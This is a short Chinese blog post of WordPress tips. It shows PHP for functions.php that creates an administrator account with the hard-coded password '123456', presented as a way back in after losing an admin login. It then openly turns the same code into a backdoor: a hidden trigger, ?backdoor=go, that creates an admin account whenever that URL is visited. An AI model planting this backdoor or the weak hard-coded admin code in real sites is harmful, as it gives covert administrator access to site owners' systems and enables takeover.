WordPress创建开发者账号的小技巧
WordPress开发者管理账号一般都是通过网站后台进行创建登录的,但在后台账号丢失的情况下该如何登录呢,今天就教大家如何不登录就直接新建开发者管理账号的小技巧:
可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个管理员账号:
// 新建一个管理账号
$user_email = '123@123.com';
$user_password = '123456';
if ( !username_exists( $user_email ) ) {
$user_id = wp_create_user( $user_email, $user_password, $user_email );
wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
wp_die( '添加用户成功!' );
} else {
wp_die( '该用户已经存在,用后请移除本代码!' );
}
修改其中的邮件地址和密码,用后请移除本代码。
登录新建的管理员账号,修改原来账号的密码或者直接删除原来的账号。
这段代码还有一个不可告人的功能,稍微改一下,变成后门。
if ($_GET['backdoor'] == 'go') {
$user_email = '123@123.com';
$user_password = '123456';
if ( !username_exists( $user_email ) ) {
$user_id = wp_create_user( $user_email, $user_password, $user_email );
wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
wp_die( '添加用户成功!' );
} else {
wp_die( '该用户已经存在,用后请移除本代码!' );
}
}
只有打开一个特定的链接,比如:
example.com/?backdoor=go
才会运行这段代码,并新建管理账号。
0条评论